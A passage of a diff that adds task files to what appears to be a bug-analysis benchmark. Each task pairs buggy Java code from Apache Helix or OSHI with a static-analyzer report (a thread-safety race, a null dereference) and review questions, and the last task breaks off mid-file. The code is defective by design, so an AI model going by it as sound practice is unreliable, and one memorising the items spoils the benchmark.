+public class ZkCacheBaseDataAccessor<T> implements HelixPropertyStore<T> {
+  private static final Logger LOG = LoggerFactory.getLogger(ZkCacheBaseDataAccessor.class);
+
+  protected WriteThroughCache<T> _wtCache;
+  protected ZkCallbackCache<T> _zkCache;
+
+  final ZkBaseDataAccessor<T> _baseAccessor;
+  final Map<String, Cache<T>> _cacheMap;
+
+  final String _chrootPath;
+  final List<String> _wtCachePaths;
+  final List<String> _zkCachePaths;
+
+  final HelixGroupCommit<T> _groupCommit = new HelixGroupCommit<T>();
+
+  // fire listeners
+  private final ReentrantLock _eventLock = new ReentrantLock();
+  private ZkCacheEventThread _eventThread;
+
+  private HelixZkClient _zkclient = null;
+
+  public ZkCacheBaseDataAccessor(ZkBaseDataAccessor<T> baseAccessor, List<String> wtCachePaths) {
+    this(baseAccessor, null, wtCachePaths, null);
+  }
+
+  public ZkCacheBaseDataAccessor(ZkBaseDataAccessor<T> baseAccessor, String chrootPath,
+      List<String> wtCachePaths, List<String> zkCachePaths) {
+    _baseAccessor = baseAccessor;
+
+    if (chrootPath == null || chrootPath.equals("/")) {
+      _chrootPath = null;
+    } else {
+      PathUtils.validatePath(chrootPath);
+      _chrootPath = chrootPath;
+    }
+
+    _wtCachePaths = wtCachePaths;
+    _zkCachePaths = zkCachePaths;
+
+    // TODO: need to make sure no overlap between wtCachePaths and zkCachePaths
+    // TreeMap key is ordered by key string length, so more general (i.e. short) prefix
+    // comes first
+    _cacheMap = new TreeMap<>(new Comparator<String>() {
+      @Override
+      public int compare(String o1, String o2) {
+        int len1 = o1.split("/").length;
+        int len2 = o2.split("/").length;
+        return len1 - len2;
+      }
+    });
+
+    start();
+  }
+
+  public ZkCacheBaseDataAccessor(String zkAddress, ZkSerializer serializer, String chrootPath,
+      List<String> wtCachePaths, List<String> zkCachePaths) {
+    this(zkAddress, serializer, chrootPath, wtCachePaths, zkCachePaths, null, null);
+  }
+
+  public ZkCacheBaseDataAccessor(String zkAddress, ZkSerializer serializer, String chrootPath,
+      List<String> wtCachePaths, List<String> zkCachePaths, String monitorType, String monitorkey) {
+    HelixZkClient.ZkClientConfig clientConfig = new HelixZkClient.ZkClientConfig();
+    clientConfig.setZkSerializer(serializer)
+        .setMonitorType(monitorType)
+        .setMonitorKey(monitorkey);
+    _zkclient = SharedZkClientFactory.getInstance()
+        .buildZkClient(new HelixZkClient.ZkConnectionConfig(zkAddress), clientConfig);
+
+    _zkclient.waitUntilConnected(HelixZkClient.DEFAULT_CONNECTION_TIMEOUT, TimeUnit.MILLISECONDS);
+    _baseAccessor = new ZkBaseDataAccessor<>(_zkclient);
+
+    if (chrootPath == null || chrootPath.equals("/")) {
+      _chrootPath = null;
+    } else {
+      PathUtils.validatePath(chrootPath);
+      _chrootPath = chrootPath;
+    }
+
+    _wtCachePaths = wtCachePaths;
+    _zkCachePaths = zkCachePaths;
+
+    // TODO: need to make sure no overlap between wtCachePaths and zkCachePaths
+    // TreeMap key is ordered by key string length, so more general (i.e. short) prefix
+    // comes first
+    _cacheMap = new TreeMap<>(new Comparator<String>() {
+      @Override
+      public int compare(String o1, String o2) {
+        int len1 = o1.split("/").length;
+        int len2 = o2.split("/").length;
+        return len1 - len2;
+      }
+    });
+
+    start();
+  }
+
+  private String prependChroot(String clientPath) {
+    PathUtils.validatePath(clientPath);
+
+    if (_chrootPath != null) {
+      // handle clientPath = "/"
+      if (clientPath.length() == 1) {
+        return _chrootPath;
+      }
+      return _chrootPath + clientPath;
+    } else {
+      return clientPath;
+    }
+  }
+
+  private List<String> prependChroot(List<String> clientPaths) {
+    List<String> serverPaths = new ArrayList<String>();
+    for (String clientPath : clientPaths) {
+      serverPaths.add(prependChroot(clientPath));
+    }
+    return serverPaths;
+  }
+
+  /**
+   * find the first path in paths that is a descendant
+   */
+  private String firstCachePath(List<String> paths) {
+    for (String cachePath : _cacheMap.keySet()) {
+      for (String path : paths) {
+        if (path.startsWith(cachePath)) {
+          return path;
+        }
+      }
+    }
+    return null;
+  }
+
+  private Cache<T> getCache(String path) {
+    for (String cachePath : _cacheMap.keySet()) {
+      if (path.startsWith(cachePath)) {
+        return _cacheMap.get(cachePath);
+      }
+    }
+
+    return null;
+  }
+
+  private Cache<T> getCache(List<String> paths) {
+    Cache<T> cache = null;
+    for (String path : paths) {
+      for (String cachePath : _cacheMap.keySet()) {
+        if (cache == null && path.startsWith(cachePath)) {
+          cache = _cacheMap.get(cachePath);
+        } else if (cache != null && cache != _cacheMap.get(cachePath)) {
+          throw new IllegalArgumentException(
+              "Couldn't do cross-cache async operations. paths: " + paths);
+        }
+      }
+    }
+
+    return cache;
+  }
+
+  private void updateCache(Cache<T> cache, List<String> createPaths, boolean success,
+      String updatePath, T data, Stat stat) {
+    if (createPaths == null || createPaths.isEmpty()) {
+      if (success) {
+        cache.update(updatePath, data, stat);
+      }
+    } else {
+      String firstPath = firstCachePath(createPaths);
+      if (firstPath != null) {
+        cache.updateRecursive(firstPath);
+      }
+    }
+  }
+
+  @Override
+  public boolean create(String path, T data, int options) {
+    String clientPath = path;
+    String serverPath = prependChroot(clientPath);
+
+    Cache<T> cache = getCache(serverPath);
+    if (cache != null) {
+      try {
+        cache.lockWrite();
+        ZkBaseDataAccessor<T>.AccessResult result =
+            _baseAccessor.doCreate(serverPath, data, options);
+        boolean success = (result._retCode == RetCode.OK);
+
+        updateCache(cache, result._pathCreated, success, serverPath, data, ZNode.ZERO_STAT);
+
+        return success;
+      } finally {
+        cache.unlockWrite();
+      }
+    }
+
+    // no cache
+    return _baseAccessor.create(serverPath, data, options);
+  }
+
+  @Override
+  public boolean set(String path, T data, int options) {
+    return set(path, data, -1, options);
+  }
+
+  @Override
+  public boolean set(String path, T data, int expectVersion, int options) {
+    String clientPath = path;
+    String serverPath = prependChroot(clientPath);
+
+    Cache<T> cache = getCache(serverPath);
+    boolean success = false;
+    try {
+      if (cache != null) {
+        cache.lockWrite();
+        ZkBaseDataAccessor<T>.AccessResult result =
+            _baseAccessor.doSet(serverPath, data, expectVersion, options);
+        success = result._retCode == RetCode.OK;
+
+        updateCache(cache, result._pathCreated, success, serverPath, data, result._stat);
+      } else {
+        // no cache
+        success = _baseAccessor.set(serverPath, data, expectVersion, options);
+      }
+    } catch (Exception e) {
+    } finally {
+      if (cache != null) {
+        cache.unlockWrite();
+      }
+    }
+    return success;
+  }
+
+  @Override
+  public boolean update(String path, DataUpdater<T> updater, int options) {
+    String clientPath = path;
+    String serverPath = prependChroot(clientPath);
+
+    Cache<T> cache = getCache(serverPath);
+
+    if (cache != null) {
+      try {
+        cache.lockWrite();
+        ZkBaseDataAccessor<T>.AccessResult result =
+            _baseAccessor.doUpdate(serverPath, updater, options);
+        boolean success = (result._retCode == RetCode.OK);
+        updateCache(cache, result._pathCreated, success, serverPath, result._updatedValue,
+            result._stat);
+
+        return success;
+      } finally {
+        cache.unlockWrite();
+      }
+    }
+
+    // no cache
+    return _groupCommit.commit(_baseAccessor, options, serverPath, updater);
+    // return _baseAccessor.update(serverPath, updater, options);
+  }
+
+  @Override
+  public boolean exists(String path, int options) {
+    String clientPath = path;
+    String serverPath = prependChroot(clientPath);
+
+    Cache<T> cache = getCache(serverPath);
+    if (cache != null) {
+      boolean exists = cache.exists(serverPath);
+      if (exists) {
+        return true;
+      }
+    }
+
+    // if not exists in cache, always fall back to zk
+    return _baseAccessor.exists(serverPath, options);
+  }
+
+  @Override
+  public boolean remove(String path, int options) {
+    String clientPath = path;
+    String serverPath = prependChroot(clientPath);
+
+    Cache<T> cache = getCache(serverPath);
+    if (cache != null) {
+      try {
+        cache.lockWrite();
+
+        boolean success = _baseAccessor.remove(serverPath, options);
+        if (success) {
+          cache.purgeRecursive(serverPath);
+        }
+
+        return success;
+      } finally {
+        cache.unlockWrite();
+      }
+    }
+
+    // no cache
+    return _baseAccessor.remove(serverPath, options);
+  }
+
+  @Override
+  public T get(String path, Stat stat, int options) {
+    String clientPath = path;
+    String serverPath = prependChroot(clientPath);
+
+    Cache<T> cache = getCache(serverPath);
+    if (cache != null) {
+      T record = null;
+      ZNode znode = cache.get(serverPath);
+
+      if (znode != null) {
+        // TODO: shall return a deep copy instead of reference
+        record = ((T) znode.getData());
+        if (stat != null) {
+          DataTree.copyStat(znode.getStat(), stat);
+        }
+        return record;
+
+      } else {
+        // if cache miss, fall back to zk and update cache
+        try {
+          cache.lockWrite();
+          record = _baseAccessor
+              .get(serverPath, stat, options | AccessOption.THROW_EXCEPTION_IFNOTEXIST);
+          cache.update(serverPath, record, stat);
+        } catch (ZkNoNodeException e) {
+          if (AccessOption.isThrowExceptionIfNotExist(options)) {
+            throw e;
+          }
+        } finally {
+          cache.unlockWrite();
+        }
+
+        return record;
+      }
+    }
+
+    // no cache
+    return _baseAccessor.get(serverPath, stat, options);
+  }
+
+  @Override
+  public Stat getStat(String path, int options) {
+    String clientPath = path;
+    String serverPath = prependChroot(clientPath);
+
+    Cache<T> cache = getCache(serverPath);
+    if (cache != null) {
+      Stat stat = new Stat();
+      ZNode znode = cache.get(serverPath);
+
+      if (znode != null) {
+        return znode.getStat();
+
+      } else {
+        // if cache miss, fall back to zk and update cache
+        try {
+          cache.lockWrite();
+          T data = _baseAccessor.get(serverPath, stat, options);
+          cache.update(serverPath, data, stat);
+        } catch (ZkNoNodeException e) {
+          return null;
+        } finally {
+          cache.unlockWrite();
+        }
+
+        return stat;
+      }
+    }
+
+    // no cache
+    return _baseAccessor.getStat(serverPath, options);
+  }
+
+  @Override
+  public boolean[] createChildren(List<String> paths, List<T> records, int options) {
+    final int size = paths.size();
+    List<String> serverPaths = prependChroot(paths);
+
+    Cache<T> cache = getCache(serverPaths);
+    if (cache != null) {
+      try {
+        cache.lockWrite();
+        boolean[] needCreate = new boolean[size];
+        Arrays.fill(needCreate, true);
+        List<List<String>> pathsCreatedList =
+            new ArrayList<List<String>>(Collections.<List<String>>nCopies(size, null));
+        CreateCallbackHandler[] createCbList =
+            _baseAccessor.create(serverPaths, records, needCreate, pathsCreatedList, options);
+
+        boolean[] success = new boolean[size];
+        for (int i = 0; i < size; i++) {
+          CreateCallbackHandler cb = createCbList[i];
+          success[i] = (Code.get(cb.getRc()) == Code.OK);
+
+          updateCache(cache, pathsCreatedList.get(i), success[i], serverPaths.get(i),
+              records.get(i), ZNode.ZERO_STAT);
+        }
+
+        return success;
+      } finally {
+        cache.unlockWrite();
+      }
+    }
+
+    // no cache
+    return _baseAccessor.createChildren(serverPaths, records, options);
+  }
+
+  @Override
+  public boolean[] setChildren(List<String> paths, List<T> records, int options) {
+    final int size = paths.size();
+    List<String> serverPaths = prependChroot(paths);
+
+    Cache<T> cache = getCache(serverPaths);
+    if (cache != null) {
+      try {
+        cache.lockWrite();
+        List<Stat> setStats = new ArrayList<Stat>();
+        List<List<String>> pathsCreatedList =
+            new ArrayList<List<String>>(Collections.<List<String>>nCopies(size, null));
+        boolean[] success =
+            _baseAccessor.set(serverPaths, records, pathsCreatedList, setStats, options);
+
+        for (int i = 0; i < size; i++) {
+          updateCache(cache, pathsCreatedList.get(i), success[i], serverPaths.get(i),
+              records.get(i), setStats.get(i));
+        }
+
+        return success;
+      } finally {
+        cache.unlockWrite();
+      }
+    }
+
+    return _baseAccessor.setChildren(serverPaths, records, options);
+  }
+
+  @Override
+  public boolean[] updateChildren(List<String> paths, List<DataUpdater<T>> updaters, int options) {
+    final int size = paths.size();
+    List<String> serverPaths = prependChroot(paths);
+
+    Cache<T> cache = getCache(serverPaths);
+    if (cache != null) {
+      try {
+        cache.lockWrite();
+
+        List<Stat> setStats = new ArrayList<Stat>();
+        boolean[] success = new boolean[size];
+        List<List<String>> pathsCreatedList =
+            new ArrayList<List<String>>(Collections.<List<String>>nCopies(size, null));
+        List<T> updateData =
+            _baseAccessor.update(serverPaths, updaters, pathsCreatedList, setStats, options);
+
+        // System.out.println("updateChild: ");
+        // for (T data : updateData)
+        // {
+        // System.out.println(data);
+        // }
+
+        for (int i = 0; i < size; i++) {
+          success[i] = (updateData.get(i) != null);
+          updateCache(cache, pathsCreatedList.get(i), success[i], serverPaths.get(i),
+              updateData.get(i), setStats.get(i));
+        }
+        return success;
+      } finally {
+        cache.unlockWrite();
+      }
+    }
+
+    // no cache
+    return _baseAccessor.updateChildren(serverPaths, updaters, options);
+  }
+
+  // TODO: change to use async_exists
+  @Override
+  public boolean[] exists(List<String> paths, int options) {
+    final int size = paths.size();
+
+    boolean exists[] = new boolean[size];
+    for (int i = 0; i < size; i++) {
+      exists[i] = exists(paths.get(i), options);
+    }
+    return exists;
+  }
+
+  @Override
+  public boolean[] remove(List<String> paths, int options) {
+    final int size = paths.size();
+    List<String> serverPaths = prependChroot(paths);
+
+    Cache<T> cache = getCache(serverPaths);
+    if (cache != null) {
+      try {
+        cache.lockWrite();
+
+        boolean[] success = _baseAccessor.remove(serverPaths, options);
+
+        for (int i = 0; i < size; i++) {
+          if (success[i]) {
+            cache.purgeRecursive(serverPaths.get(i));
+          }
+        }
+        return success;
+      } finally {
+        cache.unlockWrite();
+      }
+    }
+
+    // no cache
+    return _baseAccessor.remove(serverPaths, options);
+  }
+
+  @Override
+  public List<T> get(List<String> paths, List<Stat> stats, int options) {
+    return get(paths, stats, options, false);
+  }
+
+  @Override
+  public List<T> get(List<String> paths, List<Stat> stats, int options, boolean throwException)
+      throws HelixException {
+    if (paths == null || paths.isEmpty()) {
+      return Collections.emptyList();
+    }
+
+    final int size = paths.size();
+    List<String> serverPaths = prependChroot(paths);
+
+    List<T> records = new ArrayList<T>(Collections.<T>nCopies(size, null));
+    List<Stat> readStats = new ArrayList<Stat>(Collections.<Stat>nCopies(size, null));
+
+    boolean needRead = false;
+    boolean needReads[] = new boolean[size]; // init to false
+
+    Cache<T> cache = getCache(serverPaths);
+    if (cache != null) {
+      try {
+        cache.lockRead();
+        for (int i = 0; i < size; i++) {
+          ZNode zNode = cache.get(serverPaths.get(i));
+          if (zNode != null) {
+            // TODO: shall return a deep copy instead of reference
+            records.set(i, (T) zNode.getData());
+            readStats.set(i, zNode.getStat());
+          } else {
+            needRead = true;
+            needReads[i] = true;
+          }
+        }
+      } finally {
+        cache.unlockRead();
+      }
+
+      // cache miss, fall back to zk and update cache
+      if (needRead) {
+        cache.lockWrite();
+        try {
+          List<T> readRecords =
+              _baseAccessor.get(serverPaths, readStats, needReads, throwException);
+          for (int i = 0; i < size; i++) {
+            if (needReads[i]) {
+              records.set(i, readRecords.get(i));
+              cache.update(serverPaths.get(i), readRecords.get(i), readStats.get(i));
+            }
+          }
+        } finally {
+          cache.unlockWrite();
+        }
+      }
+
+      if (stats != null) {
+        stats.clear();
+        stats.addAll(readStats);
+      }
+
+      return records;
+    }
+
+    // no cache
+    return _baseAccessor.get(serverPaths, stats, options, throwException);
+  }
+
+  // TODO: add cache
+  @Override
+  public Stat[] getStats(List<String> paths, int options) {
+    List<String> serverPaths = prependChroot(paths);
+    return _baseAccessor.getStats(serverPaths, options);
+  }
+
+  @Override
+  public List<String> getChildNames(String parentPath, int options) {
+    String serverParentPath = prependChroot(parentPath);
+
+    Cache<T> cache = getCache(serverParentPath);
+    if (cache != null) {
+      // System.out.println("zk-cache");
+      ZNode znode = cache.get(serverParentPath);
+
+      if (znode != null && znode.getChildSet() != Collections.<String>emptySet()) {
+        // System.out.println("zk-cache-hit: " + parentPath);
+        List<String> childNames = new ArrayList<String>(znode.getChildSet());
+        Collections.sort(childNames);
+        return childNames;
+      } else {
+        // System.out.println("zk-cache-miss");
+        try {
+          cache.lockWrite();
+
+          List<String> childNames = _baseAccessor.getChildNames(serverParentPath, options);
+          // System.out.println("\t--" + childNames);
+          cache.addToParentChildSet(serverParentPath, childNames);
+
+          return childNames;
+        } finally {
+          cache.unlockWrite();
+        }
+      }
+    }
+
+    // no cache
+    return _baseAccessor.getChildNames(serverParentPath, options);
+  }
+
+  @Override
+  public List<T> getChildren(String parentPath, List<Stat> stats, int options) {
+    List<String> childNames = getChildNames(parentPath, options);
+    if (childNames == null) {
+      return null;
+    }
+
+    List<String> paths = new ArrayList<>();
+    for (String childName : childNames) {
+      String path = parentPath.equals("/") ? "/" + childName : parentPath + "/" + childName;
+      paths.add(path);
+    }
+
+    return get(paths, stats, options);
+  }
+
+  @Override
+  public List<T> getChildren(String parentPath, List<Stat> stats, int options, int retryCount,
+      int retryInterval) throws HelixException {
+    return getChildren(parentPath, stats, options);
+  }
+
+  @Override
+  public void subscribeDataChanges(String path, IZkDataListener listener) {
+    String serverPath = prependChroot(path);
+
+    _baseAccessor.subscribeDataChanges(serverPath, listener);
+  }
+
+  @Override
+  public void unsubscribeDataChanges(String path, IZkDataListener listener) {
+    String serverPath = prependChroot(path);
+
+    _baseAccessor.unsubscribeDataChanges(serverPath, listener);
+  }
+
+  @Override
+  public List<String> subscribeChildChanges(String path, IZkChildListener listener) {
+    String serverPath = prependChroot(path);
+
+    return _baseAccessor.subscribeChildChanges(serverPath, listener);
+  }
+
+  @Override
+  public void unsubscribeChildChanges(String path, IZkChildListener listener) {
+    String serverPath = prependChroot(path);
+
+    _baseAccessor.unsubscribeChildChanges(serverPath, listener);
+  }
+
+  @Override
+  public void subscribe(String parentPath, HelixPropertyListener listener) {
+    String serverPath = prependChroot(parentPath);
+    _zkCache.subscribe(serverPath, listener);
+  }
+
+  @Override
+  public void unsubscribe(String parentPath, HelixPropertyListener listener) {
+    String serverPath = prependChroot(parentPath);
+    _zkCache.unsubscribe(serverPath, listener);
+  }
+
+  @Override
+  public void start() {
+
+    LOG.info("START: Init ZkCacheBaseDataAccessor: " + _chrootPath + ", " + _wtCachePaths + ", "
+        + _zkCachePaths);
+
+    // start event thread
+    try {
+      _eventLock.lockInterruptibly();
+      if (_eventThread != null) {
+        LOG.warn(_eventThread + " has already started");
+      } else {
+
+        if (_zkCachePaths == null || _zkCachePaths.isEmpty()) {
+          LOG.warn("ZkCachePaths is null or empty. Will not start ZkCacheEventThread");
+        } else {
+          LOG.debug("Starting ZkCacheEventThread...");
+
+          _eventThread = new ZkCacheEventThread("");
+          _eventThread.start();
+        }
+      }
+    } catch (InterruptedException e) {
+      LOG.error("Current thread is interrupted when starting ZkCacheEventThread. ", e);
+    } finally {
+      _eventLock.unlock();
+    }
+    LOG.debug("Start ZkCacheEventThread...done");
+
+    _wtCache = new WriteThroughCache<T>(_baseAccessor, _wtCachePaths);
+    _zkCache = new ZkCallbackCache<T>(_baseAccessor, _chrootPath, _zkCachePaths, _eventThread);
+
+    if (_wtCachePaths != null && !_wtCachePaths.isEmpty()) {
+      for (String path : _wtCachePaths) {
+        _cacheMap.put(path, _wtCache);
+      }
+    }
+
+    if (_zkCachePaths != null && !_zkCachePaths.isEmpty()) {
+      for (String path : _zkCachePaths) {
+        _cacheMap.put(path, _zkCache);
+      }
+    }
+  }
+
+  @Override
+  public void stop() {
+    try {
+      _eventLock.lockInterruptibly();
+
+      if (_zkclient != null) {
+        _zkclient.close();
+        _zkclient = null;
+      }
+
+      if (_eventThread == null) {
+        LOG.warn(_eventThread + " has already stopped");
+        return;
+      }
+
+      LOG.debug("Stopping ZkCacheEventThread...");
+      _eventThread.interrupt();
+      _eventThread.join(2000);
+      _eventThread = null;
+    } catch (InterruptedException e) {
+      LOG.error("Current thread is interrupted when stopping ZkCacheEventThread.");
+    } finally {
+      _eventLock.unlock();
+    }
+
+    LOG.debug("Stop ZkCacheEventThread...done");
+
+  }
+
+  @Override
+  public void reset() {
+    if (_wtCache != null) {
+      _wtCache.reset();
+    }
+
+    if (_zkCache != null) {
+      _zkCache.reset();
+    }
+  }
+
+  @Override
+  public void close() {
+    if (_zkclient != null) {
+      _zkclient.close();
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.helix.manager.zk.ZkCacheBaseDataAccessor.close` reads without synchronization from `this.org.apache.helix.manager.zk.ZkCacheBaseDataAccessor._zkclient`. Potentially races with write in method `ZkCacheBaseDataAccessor.stop()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ZkCacheBaseDataAccessor.close()
+
+### Procedure Id:
+org.apache.helix.manager.zk.ZkCacheBaseDataAccessor.close():void.b941aa08d339319650d7c0f33b6fc843
+
+### File:
+helix-core/src/main/java/org/apache/helix/manager/zk/ZkCacheBaseDataAccessor.java
+
+### Key:
+ZkCacheBaseDataAccessor.java|close|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+541f7897007569a8763a8544e8bb2a31
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9645/instruction.md b/inferredbugs-9645/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b2758f3f25f2087162cd233302274aca5355dc08
--- /dev/null
+++ b/inferredbugs-9645/instruction.md
@@ -0,0 +1,228 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 40
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.controller.stages;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.HelixManager;
+import org.apache.helix.PropertyKey;
+import org.apache.helix.controller.pipeline.AbstractBaseStage;
+import org.apache.helix.model.BuiltInStateModelDefinitions;
+import org.apache.helix.model.ClusterConfig;
+import org.apache.helix.model.IdealState;
+import org.apache.helix.model.MasterSlaveSMD;
+import org.apache.helix.model.Partition;
+import org.apache.helix.model.Resource;
+import org.apache.log4j.Logger;
+
+/**
+ * Persist the ResourceAssignment of each resource that went through rebalancing
+ */
+public class PersistAssignmentStage extends AbstractBaseStage {
+  private static final Logger LOG = Logger.getLogger(PersistAssignmentStage.class);
+
+  @Override public void process(ClusterEvent event) throws Exception {
+    LOG.info("START PersistAssignmentStage.process()");
+    long startTime = System.currentTimeMillis();
+
+    ClusterDataCache cache = event.getAttribute("ClusterDataCache");
+    ClusterConfig clusterConfig = cache.getClusterConfig();
+
+    if (clusterConfig.isPersistBestPossibleAssignment()) {
+      HelixManager helixManager = event.getAttribute("helixmanager");
+      HelixDataAccessor accessor = helixManager.getHelixDataAccessor();
+      PropertyKey.Builder keyBuilder = accessor.keyBuilder();
+      BestPossibleStateOutput bestPossibleAssignments =
+          event.getAttribute(AttributeName.BEST_POSSIBLE_STATE.toString());
+      Map<String, Resource> resourceMap = event.getAttribute(AttributeName.RESOURCES.toString());
+
+      for (String resourceId : bestPossibleAssignments.resourceSet()) {
+        Resource resource = resourceMap.get(resourceId);
+        if (resource != null) {
+          boolean changed = false;
+          Map<Partition, Map<String, String>> bestPossibleAssignment =
+              bestPossibleAssignments.getResourceMap(resourceId);
+          IdealState idealState = cache.getIdealState(resourceId);
+          if (idealState == null) {
+            LOG.warn("IdealState not found for resource " + resourceId);
+            continue;
+          }
+          IdealState.RebalanceMode mode = idealState.getRebalanceMode();
+          if (!mode.equals(IdealState.RebalanceMode.SEMI_AUTO) && !mode
+              .equals(IdealState.RebalanceMode.FULL_AUTO)) {
+            // do not persist assignment for resource in neither semi or full auto.
+            continue;
+          }
+
+          //TODO: temporary solution for Espresso/Dbus backcompatible, should remove this.
+          Map<Partition, Map<String, String>> assignmentToPersist =
+              convertAssignmentPersisted(resource, idealState, bestPossibleAssignment);
+
+          for (Partition partition : resource.getPartitions()) {
+            Map<String, String> instanceMap = assignmentToPersist.get(partition);
+            Map<String, String> existInstanceMap =
+                idealState.getInstanceStateMap(partition.getPartitionName());
+            if (instanceMap == null && existInstanceMap == null) {
+              continue;
+            }
+            if (instanceMap == null || existInstanceMap == null || !instanceMap
+                .equals(existInstanceMap)) {
+              changed = true;
+              break;
+            }
+          }
+          if (changed) {
+            for (Partition partition : assignmentToPersist.keySet()) {
+              Map<String, String> instanceMap = assignmentToPersist.get(partition);
+              idealState.setInstanceStateMap(partition.getPartitionName(), instanceMap);
+            }
+            accessor.setProperty(keyBuilder.idealStates(resourceId), idealState);
+          }
+        }
+      }
+    }
+
+    long endTime = System.currentTimeMillis();
+    LOG.info("END PersistAssignmentStage.process(), took " + (endTime - startTime) + " ms");
+  }
+
+  /**
+   * TODO: This is a temporary hacky for back-compatible support of Espresso and Databus,
+   * we should get rid of this conversion as soon as possible.
+   * --- Lei, 2016/9/9.
+   */
+  private Map<Partition, Map<String, String>> convertAssignmentPersisted(Resource resource,
+      IdealState idealState, Map<Partition, Map<String, String>> bestPossibleAssignment) {
+    String stateModelDef = idealState.getStateModelDefRef();
+    /** Only convert for MasterSlave resources */
+    if (!stateModelDef.equals(BuiltInStateModelDefinitions.MasterSlave.name())) {
+      return bestPossibleAssignment;
+    }
+
+    Map<Partition, Map<String, String>> assignmentToPersist =
+        new HashMap<Partition, Map<String, String>>();
+
+    for (Partition partition : resource.getPartitions()) {
+      Map<String, String> instanceMap = new HashMap<String, String>();
+      instanceMap.putAll(bestPossibleAssignment.get(partition));
+
+      List<String> preferenceList = idealState.getPreferenceList(partition.getPartitionName());
+      boolean hasMaster = false;
+      for (String ins : preferenceList) {
+        String state = instanceMap.get(ins);
+        if (state == null || (!state.equals(MasterSlaveSMD.States.SLAVE.name()) && !state
+            .equals(MasterSlaveSMD.States.MASTER.name()))) {
+          instanceMap.put(ins, MasterSlaveSMD.States.SLAVE.name());
+        }
+
+        if (state != null && state.equals(MasterSlaveSMD.States.MASTER.name())) {
+          hasMaster = true;
+        }
+      }
+
+      // if no master, just pick the first node in the preference list as the master.
+      if (!hasMaster && preferenceList.size() > 0) {
+        instanceMap.put(preferenceList.get(0), MasterSlaveSMD.States.MASTER.name());
+      }
+
+      assignmentToPersist.put(partition, instanceMap);
+    }
+
+    return assignmentToPersist;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `bestPossibleAssignments` last assigned on line 57 could be null and is dereferenced at line 60.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PersistAssignmentStage.process(ClusterEvent)
+
+### Procedure Id:
+org.apache.helix.controller.stages.PersistAssignmentStage.process(org.apache.helix.controller.stages.5fe6a1979dfbfd1b713577472f77df88
+
+### File:
+helix-core/src/main/java/org/apache/helix/controller/stages/PersistAssignmentStage.java
+
+### Key:
+PersistAssignmentStage.java|process|NULL_DEREFERENCE
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+3452e6b23d26bab46ead54e2ad92ad85
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9673/instruction.md b/inferredbugs-9673/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3f7c86e694ebf03eac88e24e43cc4526a87f3b74
--- /dev/null
+++ b/inferredbugs-9673/instruction.md
@@ -0,0 +1,276 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** oshi
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Oshi (https://github.com/dblock/oshi)
+ * 
+ * Copyright (c) 2010 - 2016 The Oshi Project Team
+ * 
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the Eclipse Public License v1.0
+ * which accompanies this distribution, and is available at
+ * http://www.eclipse.org/legal/epl-v10.html
+ * 
+ * Contributors:
+ * dblock[at]dblock[dot]org
+ * alessandro[at]perucchi[dot]org
+ * widdis[at]gmail[dot]com
+ * https://github.com/dblock/oshi/graphs/contributors
+ */
+package oshi.hardware.platform.windows;
+
+import java.util.ArrayList;
+
+import javax.json.Json;
+import javax.json.JsonArrayBuilder;
+import javax.json.JsonBuilderFactory;
